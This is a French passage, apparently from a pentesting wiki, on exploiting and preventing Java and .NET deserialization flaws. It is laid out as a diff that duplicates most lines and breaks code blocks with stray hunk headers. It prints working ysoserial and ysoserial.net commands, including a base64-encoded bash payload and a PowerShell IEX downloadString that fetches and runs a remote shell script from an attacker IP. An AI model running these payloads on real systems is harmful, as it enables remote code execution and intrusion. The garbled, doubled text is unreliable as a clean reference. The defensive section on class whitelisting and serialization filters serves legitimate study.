En utilisant l'extension Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), vous pouvez identifier **quelles bibliothèques sont disponibles** (et même les versions). Avec ces informations, il pourrait être **plus facile de choisir un payload** pour exploiter la vulnérabilité.\
[**Lisez ceci pour en savoir plus sur GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe est axé sur les **désérialisations `ObjectInputStream`**.
En utilisant l'extension Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) vous pouvez identifier **quelles bibliothèques sont disponibles** (et même les versions). Avec cette information il peut être **plus facile de choisir un payload** pour exploiter la vulnérabilité.\
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe se concentre sur les **`ObjectInputStream` deserializations**.
En utilisant l'extension Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), vous pouvez **identifier les bibliothèques vulnérables** exploitables avec ysoserial et **les exploiter**.\
[**Lisez ceci pour en savoir plus sur Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner est axé sur les **désérialisations `ObjectInputStream`**.
En utilisant l'extension Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) vous pouvez **identifier vulnerable libraries** exploitables avec ysoserial et **exploit** them.\
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner se concentre sur les désérialisations **`ObjectInputStream`**.
Vous pouvez également utiliser [**Freddy**](https://github.com/nccgroup/freddy) pour **détecter les vulnérabilités de désérialisation** dans **Burp**. Ce plugin détectera **non seulement les vulnérabilités liées à `ObjectInputStream`**, mais **aussi** les vulnérabilités des bibliothèques de désérialisation **Json** et **Yml**. En mode actif, il essaiera de les confirmer en utilisant des payloads de sommeil ou DNS.\
[**Vous pouvez trouver plus d'informations sur Freddy ici.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
Vous pouvez aussi utiliser [**Freddy**](https://github.com/nccgroup/freddy) pour **detect deserializations** vulnerabilities dans **Burp**. Ce plugin détectera **not only `ObjectInputStream`** related vulnerabilities mais **aussi** les vulnérabilités provenant des bibliothèques de désérialisation **Json** et **Yml**. En mode actif, il tentera de les confirmer en utilisant des payloads sleep ou DNS.\
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Test de sérialisation**
Tout ne consiste pas à vérifier si une bibliothèque vulnérable est utilisée par le serveur. Parfois, vous pourriez être en mesure de **modifier les données à l'intérieur de l'objet sérialisé et de contourner certaines vérifications** (peut-être vous accorder des privilèges d'administrateur dans une application web).\
Si vous trouvez un objet Java sérialisé envoyé à une application web, **vous pouvez utiliser** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **pour imprimer dans un format plus lisible par l'homme l'objet de sérialisation qui est envoyé**. Savoir quelles données vous envoyez serait plus facile à modifier et à contourner certaines vérifications.
Il ne s'agit pas seulement de vérifier si une bibliothèque vulnérable est utilisée par le serveur. Parfois vous pouvez **modifier les données à l'intérieur de l'objet sérialisé et bypass certains contrôles** (peut-être vous accorder des privilèges admin dans une webapp).\
Si vous trouvez un java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Savoir quelles données vous envoyez facilitera leur modification et le contournement de certaines vérifications.
### **Exploitation**
### **Exploit**
#### **ysoserial**
L'outil principal pour exploiter les désérialisations Java est [**ysoserial**](https://github.com/frohoff/ysoserial) ([**téléchargez ici**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Vous pouvez également envisager d'utiliser [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) qui vous permettra d'utiliser des commandes complexes (avec des pipes par exemple).\
Notez que cet outil est **axé** sur l'exploitation de **`ObjectInputStream`**.\
Je commencerais **par utiliser le payload "URLDNS"** **avant un payload RCE** pour tester si l'injection est possible. Quoi qu'il en soit, notez que peut-être le payload "URLDNS" ne fonctionne pas mais qu'un autre payload RCE fonctionne.
L'outil principal pour exploiter les désérialisations Java est [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Vous pouvez aussi envisager d'utiliser [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) qui vous permettra d'utiliser des commandes complexes (avec des pipes par exemple).\
Notez que cet outil est **focused** sur l'exploitation des **`ObjectInputStream`**.\
Je recommanderais de **start using the "URLDNS"** payload **before a RCE** payload pour tester si l'injection est possible. Quoi qu'il en soit, notez que le payload "URLDNS" peut ne pas fonctionner alors qu'un autre payload RCE fonctionne.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -483,9 +495,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
Lors de la création d'un payload pour **java.lang.Runtime.exec()**, vous **ne pouvez pas utiliser de caractères spéciaux** comme ">" ou "|" pour rediriger la sortie d'une exécution, "$()" pour exécuter des commandes ou même **passer des arguments** à une commande séparés par **des espaces** (vous pouvez faire `echo -n "hello world"` mais vous ne pouvez pas faire `python2 -c 'print "Hello world"'`). Afin d'encoder correctement le payload, vous pourriez [utiliser cette page web](http://www.jackson-t.ca/runtime-exec-payloads.html).
Lors de la création d'un payload pour **java.lang.Runtime.exec()** vous **cannot use special characters** comme ">" ou "|" pour rediriger la sortie d'une exécution, "$()" pour exécuter des commandes ou même **pass arguments** à une commande séparés par des **spaces** (vous pouvez faire `echo -n "hello world"` mais vous ne pouvez pas faire `python2 -c 'print "Hello world"'`). Pour encoder correctement le payload vous pouvez [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
N'hésitez pas à utiliser le script suivant pour créer **tous les payloads d'exécution de code possibles** pour Windows et Linux, puis testez-les sur la page web vulnérable :
N'hésitez pas à utiliser le script suivant pour créer **all the possible code execution** payloads pour Windows et Linux puis les tester sur la page web vulnérable :
```python
import os
import base64
@ -508,12 +520,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### serialkillerbypassgadgets
Vous pouvez **utiliser** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **avec ysoserial pour créer plus d'exploits**. Plus d'informations sur cet outil dans les **diapositives de la présentation** où l'outil a été présenté : [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
Vous pouvez **utiliser** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **avec ysoserial pour créer davantage d'exploits**. Plus d'informations sur cet outil dans les **slides de la présentation** où l'outil a été présenté : [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec) peut être utilisé pour générer des charges utiles afin d'exploiter différentes bibliothèques de sérialisation **Json** et **Yml** en Java.\
Pour compiler le projet, j'ai dû **ajouter** ces **dépendances** à `pom.xml` :
[**marshalsec** ](https://github.com/mbechler/marshalsec) peut être utilisé pour générer des payloads pour exploiter différentes bibliothèques de sérialisation **Json** et **Yml** en **Java**.\
Pour compiler le projet, j'ai dû **ajouter** ces **dépendances** dans `pom.xml` :
```html
<dependency>
<groupId>javax.activation</groupId>
@ -528,57 +540,57 @@ Pour compiler le projet, j'ai dû **ajouter** ces **dépendances** à `pom.xml`
<type>pom</type>
</dependency>
```
**Installez maven**, et **compilez** le projet :
**Installez maven**, et **compilez** le projet:
```bash
sudo apt-get install maven
mvn clean package -DskipTests
```
#### FastJSON
Lisez-en plus sur cette bibliothèque Java JSON : [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
En savoir plus sur cette bibliothèque Java JSON : [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
### Labs
- Si vous souhaitez tester des payloads ysoserial, vous pouvez **exécuter cette webapp** : [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- Si vous voulez tester des ysoserial payloads, vous pouvez **exécuter cette webapp** : [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Pourquoi
Java utilise beaucoup de sérialisation pour divers objectifs comme :
Java utilise beaucoup la sérialisation pour divers usages, tels que :
- **Requêtes HTTP** : La sérialisation est largement utilisée dans la gestion des paramètres, ViewState, cookies, etc.
- **RMI (Remote Method Invocation)** : Le protocole RMI de Java, qui repose entièrement sur la sérialisation, est un pilier de la communication à distance dans les applications Java.
- **RMI sur HTTP** : Cette méthode est couramment utilisée par les applications web clientes lourdes basées sur Java, utilisant la sérialisation pour toutes les communications d'objets.
- **HTTP requests** : la sérialisation est largement employée dans la gestion des paramètres, ViewState, cookies, etc.
- **RMI (Remote Method Invocation)** : le protocole Java RMI, qui repose entièrement sur la sérialisation, est une pierre angulaire de la communication distante dans les applications Java.
- **RMI over HTTP** : cette méthode est couramment utilisée par les applications web à client lourd basées sur Java, utilisant la sérialisation pour toutes les communications d'objets.
- **JMX (Java Management Extensions)** : JMX utilise la sérialisation pour transmettre des objets sur le réseau.
- **Protocoles personnalisés** : En Java, la pratique standard consiste à transmettre des objets Java bruts, ce qui sera démontré dans les prochains exemples d'exploitation.
- **Custom Protocols** : en Java, la pratique standard implique la transmission d'objets Java bruts, ce qui sera démontré dans les exploit examples à venir.
### Prévention
#### Objets transitoires
#### Objets transient
Une classe qui implémente `Serializable` peut implémenter comme `transient` tout objet à l'intérieur de la classe qui ne devrait pas être sérialisable. Par exemple :
Une classe qui implémente `Serializable` peut marquer comme `transient` tout objet à l'intérieur de la classe qui ne devrait pas être sérialisable. Par exemple :
```java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
```
#### Évitez la sérialisation d'une classe qui doit implémenter Serializable
#### Éviter la sérialisation d'une classe qui doit implémenter Serializable
Dans les scénarios où certains **objets doivent implémenter l'interface `Serializable`** en raison de la hiérarchie des classes, il existe un risque de désérialisation involontaire. Pour éviter cela, assurez-vous que ces objets ne sont pas désérialisables en définissant une méthode `readObject()` `final` qui lance systématiquement une exception, comme indiqué ci-dessous :
Dans des scénarios où certains **objets doivent implémenter l'interface `Serializable`** en raison de la hiérarchie de classes, il existe un risque de désérialisation involontaire. Pour l'empêcher, assurez-vous que ces objets ne peuvent pas être désérialisés en définissant une méthode `final` `readObject()` qui lance systématiquement une exception, comme montré ci-dessous :
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
```
#### **Améliorer la sécurité de la désérialisation en Java**
#### **Renforcer la sécurité de la désérialisation en Java**
**Personnaliser `java.io.ObjectInputStream`** est une approche pratique pour sécuriser les processus de désérialisation. Cette méthode est appropriée lorsque :
**Personnaliser `java.io.ObjectInputStream`** est une approche pratique pour sécuriser les processus de désérialisation. Cette méthode convient lorsque :
- Le code de désérialisation est sous votre contrôle.
- Les classes attendues pour la désérialisation sont connues.
Surchargez la méthode **`resolveClass()`** pour limiter la désérialisation aux classes autorisées uniquement. Cela empêche la désérialisation de toute classe sauf celles explicitement autorisées, comme dans l'exemple suivant qui restreint la désérialisation à la classe `Bicycle` uniquement :
Redéfinissez la méthode **`resolveClass()`** pour limiter la désérialisation uniquement aux classes autorisées. Cela empêche la désérialisation de toute classe à l'exception de celles explicitement autorisées, comme dans l'exemple suivant qui restreint la désérialisation à la classe `Bicycle` uniquement :
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -599,17 +611,17 @@ return super.resolveClass(desc);
}
}
```
**Utilisation d'un agent Java pour l'amélioration de la sécurité** offre une solution de repli lorsque la modification du code n'est pas possible. Cette méthode s'applique principalement à **la mise sur liste noire des classes nuisibles**, en utilisant un paramètre JVM :
**Using a Java Agent for Security Enhancement** offre une solution de repli lorsque la modification du code n'est pas possible. Cette méthode s'applique principalement pour **blacklisting harmful classes**, en utilisant un paramètre JVM:
```
-javaagent:name-of-agent.jar
```
Il fournit un moyen de sécuriser la désérialisation de manière dynamique, idéal pour les environnements où des modifications de code immédiates sont impraticables.
Vérifiez un exemple dans [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
Check and example in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Implémentation des filtres de sérialisation** : Java 9 a introduit des filtres de sérialisation via l'interface **`ObjectInputFilter`**, fournissant un mécanisme puissant pour spécifier les critères que les objets sérialisés doivent respecter avant d'être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire sur le processus de désérialisation.
**Implémentation des filtres de sérialisation**: Java 9 a introduit des filtres de sérialisation via l'interface **`ObjectInputFilter`**, offrant un mécanisme puissant pour spécifier les critères que les objets sérialisés doivent satisfaire avant d'être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire du processus de désérialisation.
Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s'applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple :
Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s'applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -621,29 +633,30 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**Exploitation des bibliothèques externes pour une sécurité renforcée** : Des bibliothèques telles que **NotSoSerial**, **jdeserialize** et **Kryo** offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, telles que la mise en liste blanche ou noire de classes, l'analyse des objets sérialisés avant la désérialisation et la mise en œuvre de stratégies de sérialisation personnalisées.
**Utiliser des bibliothèques externes pour renforcer la sécurité**: Libraries such as **NotSoSerial**, **jdeserialize**, and **Kryo** offer advanced features for controlling and monitoring Java deserialization. Ces bibliothèques peuvent apporter des couches de sécurité supplémentaires, telles que le whitelisting ou le blacklisting de classes, l'analyse d'objets sérialisés avant désérialisation, et l'implémentation de stratégies de sérialisation personnalisées.
- **NotSoSerial** intercepte les processus de désérialisation pour empêcher l'exécution de code non fiable.
- **jdeserialize** permet l'analyse d'objets Java sérialisés sans les désérialiser, aidant à identifier un contenu potentiellement malveillant.
- **Kryo** est un cadre de sérialisation alternatif qui met l'accent sur la rapidité et l'efficacité, offrant des stratégies de sérialisation configurables qui peuvent améliorer la sécurité.
- **Kryo** est un framework de sérialisation alternatif axé sur la rapidité et l'efficacité, offrant des stratégies de sérialisation configurables pouvant améliorer la sécurité.
### Références
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
- Désérialisation et discussion ysoserial : [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Discussion sur gadgetinspector : [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) et diapositives : [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Document Marshalsec : [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Document sur la désérialisation JSON Java et .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** discussion : [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) et diapositives : [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- CVEs de désérialisation : [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## Injection JNDI & log4Shell
## JNDI Injection & log4Shell
Trouvez ce qu'est **JNDI Injection**, comment l'abuser via RMI, CORBA & LDAP et comment exploiter **log4shell** (et un exemple de cette vulnérabilité) dans la page suivante:
Découvrez ce qu'est **l'injection JNDI, comment l'exploiter via RMI, CORBA & LDAP et comment exploiter log4shell** (et un exemple de cette vulnérabilité) dans la page suivante :
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -651,11 +664,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> L'API **Java Message Service** (**JMS**) est une API de middleware orientée message Java pour l'envoi de messages entre deux clients ou plus. C'est une implémentation pour gérer le problème producteur-consommateur. JMS fait partie de la plateforme Java, Édition Entreprise (Java EE), et a été définie par une spécification développée chez Sun Microsystems, mais qui a depuis été guidée par le processus communautaire Java. C'est une norme de messagerie qui permet aux composants d'application basés sur Java EE de créer, envoyer, recevoir et lire des messages. Elle permet une communication entre différents composants d'une application distribuée d'être faiblement couplée, fiable et asynchrone. (D'après [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> L'API **Java Message Service** (**JMS**) est une API middleware orientée messages pour envoyer des messages entre deux clients ou plus. Elle constitue une implémentation pour gérer le problème producteurconsommateur. JMS fait partie de la Java Platform, Enterprise Edition (Java EE), et a été définie par une spécification développée chez Sun Microsystems, mais qui est depuis encadrée par la Java Community Process. C'est une norme de messagerie qui permet aux composants d'application basés sur Java EE de créer, envoyer, recevoir et lire des messages. Elle permet la communication entre différents composants d'une application distribuée de manière faiblement couplée, fiable et asynchrone. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Produits
### Products
Il existe plusieurs produits utilisant ce middleware pour envoyer des messages :
There are several products using this middleware to send messages:
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (314).png>)
@ -663,59 +676,59 @@ Il existe plusieurs produits utilisant ce middleware pour envoyer des messages :
### Exploitation
Donc, en gros, il y a **beaucoup de services utilisant JMS de manière dangereuse**. Par conséquent, si vous avez **suffisamment de privilèges** pour envoyer des messages à ces services (vous aurez généralement besoin de credentials valides), vous pourriez être en mesure d'envoyer **des objets malveillants sérialisés qui seront désérialisés par le consommateur/abonné**.\
Cela signifie que dans cette exploitation, tous les **clients qui vont utiliser ce message seront infectés**.
En pratique, de nombreux services utilisent JMS de manière dangereuse. Par conséquent, si vous disposez de suffisamment de privilèges pour envoyer des messages à ces services (généralement vous aurez besoin d'identifiants valides), vous pourriez être en mesure d'envoyer des objets sérialisés malveillants qui seront désérialisés par le consumer/subscriber.\
Cela signifie que, dans cette exploitation, tous les clients qui vont utiliser ce message seront compromis.
Vous devez vous rappeler que même si un service est vulnérable (car il désérialise de manière non sécurisée l'entrée utilisateur), vous devez toujours trouver des gadgets valides pour exploiter la vulnérabilité.
Il faut garder à l'esprit que même si un service est vulnérable (parce qu'il désérialise de manière non sécurisée des entrées utilisateur), vous devez quand même trouver des gadgets valides pour exploiter la vulnérabilité.
L'outil [JMET](https://github.com/matthiaskaiser/jmet) a été créé pour **se connecter et attaquer ces services en envoyant plusieurs objets malveillants sérialisés utilisant des gadgets connus**. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés se trouve dans l'application vulnérable.
L'outil [JMET](https://github.com/matthiaskaiser/jmet) a été créé pour **se connecter et attaquer ces services en envoyant plusieurs objets sérialisés malveillants utilisant des gadgets connus**. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés se trouve dans l'application vulnérable.
### Références
### References
- [Patchstack advisory Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- Discussion JMET : [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- Diapositives : [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
## .Net
Dans le contexte de .Net, les exploits de désérialisation fonctionnent de manière similaire à ceux trouvés dans Java, où des gadgets sont exploités pour exécuter un code spécifique lors de la désérialisation d'un objet.
Dans le contexte de .Net, les exploits de désérialisation opèrent de manière analogue à ceux rencontrés en Java, où des gadgets sont exploités pour exécuter du code spécifique lors de la désérialisation d'un objet.
### Empreinte
### Fingerprint
#### WhiteBox
Le code source doit être inspecté pour des occurrences de :
Le code source doit être inspecté à la recherche des occurrences de :
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
L'accent doit être mis sur les sérialiseurs qui permettent de déterminer le type par une variable sous le contrôle de l'utilisateur.
L'attention doit se porter sur les serializers qui permettent que le type soit déterminé par une variable sous le contrôle de l'utilisateur.
#### BlackBox
La recherche doit cibler la chaîne encodée en Base64 **AAEAAAD/////** ou tout motif similaire qui pourrait subir une désérialisation côté serveur, accordant le contrôle sur le type à désérialiser. Cela pourrait inclure, mais ne se limite pas à, des structures **JSON** ou **XML** comportant `TypeObject` ou `$type`.
La recherche doit cibler la chaîne encodée Base64 **AAEAAAD/////** ou tout motif similaire susceptible d'être désérialisé côté serveur, accordant le contrôle du type à désérialiser. Cela peut inclure, sans s'y limiter, des structures **JSON** ou **XML** présentant `TypeObject` ou `$type`.
### ysoserial.net
Dans ce cas, vous pouvez utiliser l'outil [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) afin de **créer les exploits de désérialisation**. Une fois le dépôt git téléchargé, vous devez **compiler l'outil** en utilisant Visual Studio par exemple.
Si vous souhaitez en savoir plus sur **comment ysoserial.net crée son exploit**, vous pouvez [**consulter cette page où est expliqué le gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Si vous voulez comprendre **comment ysoserial.net crée son exploit** vous pouvez [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Les principales options de **ysoserial.net** sont : **`--gadget`**, **`--formatter`**, **`--output`** et **`--plugin`.**
Les options principales de **ysoserial.net** sont : **`--gadget`**, **`--formatter`**, **`--output`** et **`--plugin`.**
- **`--gadget`** utilisé pour indiquer le gadget à abuser (indique la classe/fonction qui sera abusée lors de la désérialisation pour exécuter des commandes).
- **`--formatter`**, utilisé pour indiquer la méthode pour sérialiser l'exploit (vous devez savoir quelle bibliothèque utilise le back-end pour désérialiser la charge utile et utiliser la même pour la sérialiser)
- **`--output`** utilisé pour indiquer si vous souhaitez l'exploit en **brut** ou **encodé en base64**. _Notez que **ysoserial.net** va **encoder** la charge utile en utilisant **UTF-16LE** (encodage utilisé par défaut sur Windows) donc si vous obtenez le brut et que vous l'encodez simplement depuis une console linux, vous pourriez avoir des **problèmes de compatibilité d'encodage** qui empêcheront l'exploit de fonctionner correctement (dans la boîte JSON HTB, la charge utile a fonctionné à la fois en UTF-16LE et en ASCII mais cela ne signifie pas que cela fonctionnera toujours)._
- **`--plugin`** ysoserial.net prend en charge les plugins pour créer des **exploits pour des frameworks spécifiques** comme ViewState
- **`--gadget`** utilisé pour indiquer le gadget à exploiter (indiquer la classe/fonction qui sera abusée lors de la désérialisation pour exécuter des commandes).
- **`--formatter`**, utilisé pour indiquer la méthode pour sérialiser l'exploit (vous devez savoir quelle bibliothèque est utilisée par le back-end pour désérialiser la payload et utiliser la même pour la sérialiser).
- **`--output`** utilisé pour indiquer si vous voulez l'exploit en **raw** ou encodé en **base64**. _Notez que **ysoserial.net** va **encoder** la payload en **UTF-16LE** (encodage utilisé par défaut sous Windows) donc si vous récupérez la version brute et l'encodez depuis une console Linux vous pourriez rencontrer des problèmes de compatibilité d'encodage qui empêcheront l'exploit de fonctionner correctement (dans une machine HTB JSON la payload a fonctionné en UTF-16LE et en ASCII mais cela ne signifie pas que cela fonctionnera toujours)._
- **`--plugin`** ysoserial.net supporte des plugins pour créer des **exploits pour des frameworks spécifiques** comme ViewState
#### Plus de paramètres ysoserial.net
#### More ysoserial.net parameters
- `--minify` fournira une **charge utile plus petite** (si possible)
- `--raf -f Json.Net -c "anything"` Cela indiquera tous les gadgets qui peuvent être utilisés avec un sérialiseur fourni (`Json.Net` dans ce cas)
- `--sf xml` vous pouvez **indiquer un gadget** (`-g`) et ysoserial.net recherchera des sérialiseurs contenant "xml" (insensible à la casse)
- `--minify` fournira une **payload plus petite** (si possible)
- `--raf -f Json.Net -c "anything"` indiquera tous les gadgets pouvant être utilisés avec un formatter fourni (`Json.Net` dans ce cas)
- `--sf xml` vous pouvez **indiquer un gadget** (`-g`) et ysoserial.net recherchera des formatters contenant "xml" (insensible à la casse)
**Exemples de ysoserial** pour créer des exploits :
**Exemples ysoserial** pour créer des exploits:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -733,9 +746,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode
